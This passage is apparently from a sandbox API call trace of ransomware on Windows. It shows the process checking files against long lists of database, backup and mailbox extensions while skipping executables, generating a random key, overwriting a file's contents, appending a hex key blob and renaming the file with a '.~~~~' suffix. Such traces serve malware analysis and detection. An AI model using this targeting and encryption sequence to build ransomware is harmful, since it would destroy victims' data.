	[0078.839] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\MSCDM.DLL", lpSrch=".mdt") returned 0x0
	[0078.840] lstrlenW (lpString=".BDB") returned 4
	[0078.840] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\MSCDM.DLL", lpSrch=".BDB") returned 0x0
	[0078.840] lstrlenW (lpString=".eql") returned 4
	[0078.840] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\MSCDM.DLL", lpSrch=".eql") returned 0x0
	[0078.840] lstrlenW (lpString=".DBF") returned 4
	[0078.840] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\MSCDM.DLL", lpSrch=".DBF") returned 0x0
	[0078.840] lstrlenW (lpString=".EQL") returned 4
	[0078.840] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\MSCDM.DLL", lpSrch=".EQL") returned 0x0
	[0078.840] lstrlenW (lpString=".FDB") returned 4
	[0078.840] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\MSCDM.DLL", lpSrch=".FDB") returned 0x0
	[0078.840] lstrlenW (lpString=".EDB") returned 4
	[0078.840] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\MSCDM.DLL", lpSrch=".EDB") returned 0x0
	[0078.840] lstrlenW (lpString=".DACPAC") returned 7
	[0078.840] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\MSCDM.DLL", lpSrch=".DACPAC") returned 0x0
	[0078.840] lstrlenW (lpString=".VHD") returned 4
	[0078.840] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\MSCDM.DLL", lpSrch=".VHD") returned 0x0
	[0078.840] lstrlenW (lpString=".DBV") returned 4
	[0078.840] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\MSCDM.DLL", lpSrch=".DBV") returned 0x0
	[0078.840] lstrlenW (lpString=".dacpac") returned 7
	[0078.840] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\MSCDM.DLL", lpSrch=".dacpac") returned 0x0
	[0078.840] lstrlenW (lpString=".sdf") returned 4
	[0078.840] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\MSCDM.DLL", lpSrch=".sdf") returned 0x0
	[0078.840] lstrlenW (lpString=".accdb") returned 6
	[0078.840] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\MSCDM.DLL", lpSrch=".accdb") returned 0x0
	[0078.840] lstrlenW (lpString=".DBX") returned 4
	[0078.840] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\MSCDM.DLL", lpSrch=".DBX") returned 0x0
	[0078.841] lstrlenW (lpString=".MDT") returned 4
	[0078.841] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\MSCDM.DLL", lpSrch=".MDT") returned 0x0
	[0078.841] lstrlenW (lpString=".SQB") returned 4
	[0078.841] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\MSCDM.DLL", lpSrch=".SQB") returned 0x0
	[0078.841] lstrlenW (lpString=".vhd") returned 4
	[0078.841] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\MSCDM.DLL", lpSrch=".vhd") returned 0x0
	[0078.841] lstrlenW (lpString=".bac") returned 4
	[0078.841] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\MSCDM.DLL", lpSrch=".bac") returned 0x0
	[0078.841] lstrlenW (lpString=".mdf") returned 4
	[0078.841] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\MSCDM.DLL", lpSrch=".mdf") returned 0x0
	[0078.841] lstrlenW (lpString=".BAK") returned 4
	[0078.841] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\MSCDM.DLL", lpSrch=".BAK") returned 0x0
	[0078.841] lstrlenW (lpString=".BAC") returned 4
	[0078.841] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\MSCDM.DLL", lpSrch=".BAC") returned 0x0
	[0078.841] lstrlenW (lpString=".dbs") returned 4
	[0078.841] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\MSCDM.DLL", lpSrch=".dbs") returned 0x0
	[0078.841] lstrlenW (lpString=".vhdx") returned 5
	[0078.841] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\MSCDM.DLL", lpSrch=".vhdx") returned 0x0
	[0078.841] lstrlenW (lpString=".NDF") returned 4
	[0078.841] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\MSCDM.DLL", lpSrch=".NDF") returned 0x0
	[0078.841] lstrlenW (lpString=".dat") returned 4
	[0078.841] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\MSCDM.DLL", lpSrch=".dat") returned 0x0
	[0078.841] lstrlenW (lpString=".DBS") returned 4
	[0078.841] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\MSCDM.DLL", lpSrch=".DBS") returned 0x0
	[0078.841] lstrlenW (lpString=".CKP") returned 4
	[0078.841] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\MSCDM.DLL", lpSrch=".CKP") returned 0x0
	[0078.842] lstrlenW (lpString=".edb") returned 4
	[0078.842] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\MSCDM.DLL", lpSrch=".edb") returned 0x0
	[0078.842] lstrlenW (lpString=".PST") returned 4
	[0078.842] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\MSCDM.DLL", lpSrch=".PST") returned 0x0
	[0078.842] lstrlenW (lpString=".dbf") returned 4
	[0078.842] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\MSCDM.DLL", lpSrch=".dbf") returned 0x0
	[0078.842] lstrlenW (lpString=".SQL") returned 4
	[0078.842] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\MSCDM.DLL", lpSrch=".SQL") returned 0x0
	[0078.842] lstrlenW (lpString=".pst") returned 4
	[0078.842] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\MSCDM.DLL", lpSrch=".pst") returned 0x0
	[0078.842] lstrlenW (lpString=".dbv") returned 4
	[0078.842] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\MSCDM.DLL", lpSrch=".dbv") returned 0x0
	[0078.842] lstrlenW (lpString=".SDF") returned 4
	[0078.842] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\MSCDM.DLL", lpSrch=".SDF") returned 0x0
	[0078.842] lstrlenW (lpString=".dtxs") returned 5
	[0078.842] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\MSCDM.DLL", lpSrch=".dtxs") returned 0x0
	[0078.842] lstrlenW (lpString=".db3") returned 4
	[0078.842] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\MSCDM.DLL", lpSrch=".db3") returned 0x0
	[0078.842] lstrlenW (lpString=".OST") returned 4
	[0078.842] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\MSCDM.DLL", lpSrch=".OST") returned 0x0
	[0078.842] lstrlenW (lpString=".dbx") returned 4
	[0078.842] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\MSCDM.DLL", lpSrch=".dbx") returned 0x0
	[0078.842] lstrlenW (lpString=".DB3") returned 4
	[0078.842] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\MSCDM.DLL", lpSrch=".DB3") returned 0x0
	[0078.842] lstrlenW (lpString=".DAT") returned 4
	[0078.842] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\MSCDM.DLL", lpSrch=".DAT") returned 0x0
	[0078.843] lstrlenW (lpString=".VHDX") returned 5
	[0078.843] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\MSCDM.DLL", lpSrch=".VHDX") returned 0x0
	[0078.843] lstrlenW (lpString=".ndf") returned 4
	[0078.843] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\MSCDM.DLL", lpSrch=".ndf") returned 0x0
	[0078.843] lstrlenW (lpString=".DB") returned 3
	[0078.843] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\MSCDM.DLL", lpSrch=".DB") returned 0x0
	[0078.843] lstrlenW (lpString=".sql") returned 4
	[0078.843] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\MSCDM.DLL", lpSrch=".sql") returned 0x0
	[0078.843] lstrlenW (lpString=".MYD") returned 4
	[0078.843] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\MSCDM.DLL", lpSrch=".MYD") returned 0x0
	[0078.843] lstrlenW (lpString=".DBT") returned 4
	[0078.843] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\MSCDM.DLL", lpSrch=".DBT") returned 0x0
	[0078.843] lstrlenW (lpString=".ACCDB") returned 6
	[0078.843] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\MSCDM.DLL", lpSrch=".ACCDB") returned 0x0
	[0078.843] lstrlenW (lpString=".fdb") returned 4
	[0078.843] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\MSCDM.DLL", lpSrch=".fdb") returned 0x0
	[0078.843] lstrlenW (lpString=".bak") returned 4
	[0078.843] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\MSCDM.DLL", lpSrch=".bak") returned 0x0
	[0078.843] lstrlenW (lpString=".myd") returned 4
	[0078.843] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\MSCDM.DLL", lpSrch=".myd") returned 0x0
	[0078.843] lstrlenW (lpString=".DTXS") returned 5
	[0078.843] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\MSCDM.DLL", lpSrch=".DTXS") returned 0x0
	[0078.843] lstrlenW (lpString=".ckp") returned 4
	[0078.843] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\MSCDM.DLL", lpSrch=".ckp") returned 0x0
	[0078.843] lstrlenW (lpString=".dbt") returned 4
	[0078.843] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\MSCDM.DLL", lpSrch=".dbt") returned 0x0
	[0078.843] lstrlenW (lpString=".db") returned 3
	[0078.844] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\MSCDM.DLL", lpSrch=".db") returned 0x0
	[0078.844] lstrlenW (lpString=".TXT") returned 4
	[0078.844] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\MSCDM.DLL", lpSrch=".TXT") returned 0x0
	[0078.844] lstrlenW (lpString=".MDF") returned 4
	[0078.844] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\MSCDM.DLL", lpSrch=".MDF") returned 0x0
	[0078.844] lstrlenW (lpString=".bdb") returned 4
	[0078.844] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\MSCDM.DLL", lpSrch=".bdb") returned 0x0
	[0078.844] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0078.844] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\MSCDM.DLL", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0078.844] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804470
	[0078.844] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0078.844] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x39fe28) returned 1
	[0078.845] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0078.845] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0078.845] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0078.845] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0078.845] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x39b740
	[0078.845] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=19883549209) returned 1
	[0078.845] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0x98dd44f0, dwHighDateTime=0x1d60e1e)) 
	[0078.845] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362320
	[0078.846] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0078.846] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3571b8
	[0078.846] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x280b090
	[0078.846] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0078.846] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280b090 | out: hHeap=0x300000) returned 1
	[0078.846] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0078.846] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0078.846] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3b6418
	[0078.846] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0078.846] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b0870
	[0078.846] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b6418 | out: hHeap=0x300000) returned 1
	[0078.846] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0078.846] GetLastError () returned 0x0
	[0078.846] GetLastError () returned 0x0
	[0078.846] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0078.846] GetLastError () returned 0x0
	[0078.847] GetLastError () returned 0x0
	[0078.848] ReadFile (in: hFile=0x120, lpBuffer=0x280bfd0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x280bfd0*, lpNumberOfBytesRead=0x25dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0078.852] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0078.852] WriteFile (in: hFile=0x120, lpBuffer=0x280bfd0*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x280bfd0*, lpNumberOfBytesWritten=0x25dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0078.854] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280bfd0 | out: hHeap=0x300000) returned 1
	[0078.854] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0078.854] WriteFile (in: hFile=0x120, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0078.857] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0078.857] WriteFile (in: hFile=0x120, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0078.857] CloseHandle (hObject=0x120) returned 1
	[0078.857] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a5018
	[0078.857] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\MSCDM.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\msclientdatamgr\\mscdm.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\MSCDM.DLL.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\msclientdatamgr\\mscdm.dll.~~~~")) returned 1
	[0078.858] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a5018 | out: hHeap=0x300000) returned 1
	[0078.858] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3571b8 | out: hHeap=0x300000) returned 1
	[0078.858] GetLastError () returned 0x0
	[0078.858] RtlWakeConditionVariable () returned 0x365f70
	[0078.858] GetCurrentThreadId () returned 0x9f4
	[0078.858] GetCurrentThreadId () returned 0x9f4
	[0078.858] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a5018
	[0078.858] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f6300 | out: hHeap=0x300000) returned 1
	[0078.858] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280b100 | out: hHeap=0x300000) returned 1
	[0078.858] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f6300
	[0078.858] lstrlenW (lpString=".scr") returned 4
	[0078.858] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US\\msinfo32.exe.mui", lpSrch=".scr") returned 0x0
	[0078.858] lstrlenW (lpString=".cmd") returned 4
	[0078.858] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US\\msinfo32.exe.mui", lpSrch=".cmd") returned 0x0
	[0078.858] lstrlenW (lpString=".dll") returned 4
	[0078.858] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US\\msinfo32.exe.mui", lpSrch=".dll") returned 0x0
	[0078.859] lstrlenW (lpString=".bat") returned 4
	[0078.859] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US\\msinfo32.exe.mui", lpSrch=".bat") returned 0x0
	[0078.859] lstrlenW (lpString=".cpl") returned 4
	[0078.859] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US\\msinfo32.exe.mui", lpSrch=".cpl") returned 0x0
	[0078.859] lstrlenW (lpString=".sys") returned 4
	[0078.859] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US\\msinfo32.exe.mui", lpSrch=".sys") returned 0x0
	[0078.859] lstrlenW (lpString=".msc") returned 4
	[0078.859] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US\\msinfo32.exe.mui", lpSrch=".msc") returned 0x0
	[0078.859] lstrlenW (lpString=".com") returned 4
	[0078.859] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US\\msinfo32.exe.mui", lpSrch=".com") returned 0x0
	[0078.859] lstrlenW (lpString=".lnk") returned 4
	[0078.859] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US\\msinfo32.exe.mui", lpSrch=".lnk") returned 0x0
	[0078.859] lstrlenW (lpString=".msp") returned 4
	[0078.859] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US\\msinfo32.exe.mui", lpSrch=".msp") returned 0x0
	[0078.859] lstrlenW (lpString=".pif") returned 4
	[0078.859] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US\\msinfo32.exe.mui", lpSrch=".pif") returned 0x0
	[0078.859] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0078.859] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US\\msinfo32.exe.mui", lpSrch="msp\r\n.pif") returned 0x0
	[0078.859] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US\\msinfo32.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\msinfo\\en-us\\msinfo32.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0078.949] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f6300 | out: hHeap=0x300000) returned 1
	[0078.949] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a5018 | out: hHeap=0x300000) returned 1
	[0078.949] RtlWakeConditionVariable () returned 0x365f70
	[0078.949] GetCurrentThreadId () returned 0x9f4
	[0078.949] GetCurrentThreadId () returned 0x9f4
	[0078.949] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3b6760
	[0078.949] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b6b50 | out: hHeap=0x300000) returned 1
	[0078.949] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280b2f8 | out: hHeap=0x300000) returned 1
	[0078.949] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3b6b50
	[0078.949] lstrlenW (lpString=".scr") returned 4
	[0078.949] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ALRTINTL.DLL", lpSrch=".scr") returned 0x0
	[0078.949] lstrlenW (lpString=".cmd") returned 4
	[0078.949] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ALRTINTL.DLL", lpSrch=".cmd") returned 0x0
	[0078.954] lstrlenW (lpString=".dll") returned 4
	[0078.954] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ALRTINTL.DLL", lpSrch=".dll") returned 0x0
	[0078.969] lstrlenW (lpString=".bat") returned 4
	[0078.970] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ALRTINTL.DLL", lpSrch=".bat") returned 0x0
	[0078.970] lstrlenW (lpString=".cpl") returned 4
	[0078.970] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ALRTINTL.DLL", lpSrch=".cpl") returned 0x0
	[0078.970] lstrlenW (lpString=".sys") returned 4
	[0078.970] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ALRTINTL.DLL", lpSrch=".sys") returned 0x0
	[0078.970] lstrlenW (lpString=".msc") returned 4
	[0078.970] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ALRTINTL.DLL", lpSrch=".msc") returned 0x0
	[0078.970] lstrlenW (lpString=".com") returned 4
	[0078.970] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ALRTINTL.DLL", lpSrch=".com") returned 0x0
	[0078.970] lstrlenW (lpString=".lnk") returned 4
	[0078.970] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ALRTINTL.DLL", lpSrch=".lnk") returned 0x0
	[0078.970] lstrlenW (lpString=".msp") returned 4
	[0078.970] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ALRTINTL.DLL", lpSrch=".msp") returned 0x0
	[0078.970] lstrlenW (lpString=".pif") returned 4
	[0078.970] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ALRTINTL.DLL", lpSrch=".pif") returned 0x0
	[0078.970] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0078.971] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ALRTINTL.DLL", lpSrch="msp\r\n.pif") returned 0x0
	[0078.971] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ALRTINTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\alrtintl.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
	[0078.971] lstrlenW (lpString=".sqb") returned 4
	[0078.971] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ALRTINTL.DLL", lpSrch=".sqb") returned 0x0
	[0078.971] lstrlenW (lpString=".ost") returned 4
	[0078.971] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ALRTINTL.DLL", lpSrch=".ost") returned 0x0
	[0078.971] lstrlenW (lpString=".txt") returned 4
	[0078.971] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ALRTINTL.DLL", lpSrch=".txt") returned 0x0
	[0078.972] lstrlenW (lpString=".mdt") returned 4
	[0078.972] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ALRTINTL.DLL", lpSrch=".mdt") returned 0x0
	[0078.972] lstrlenW (lpString=".BDB") returned 4
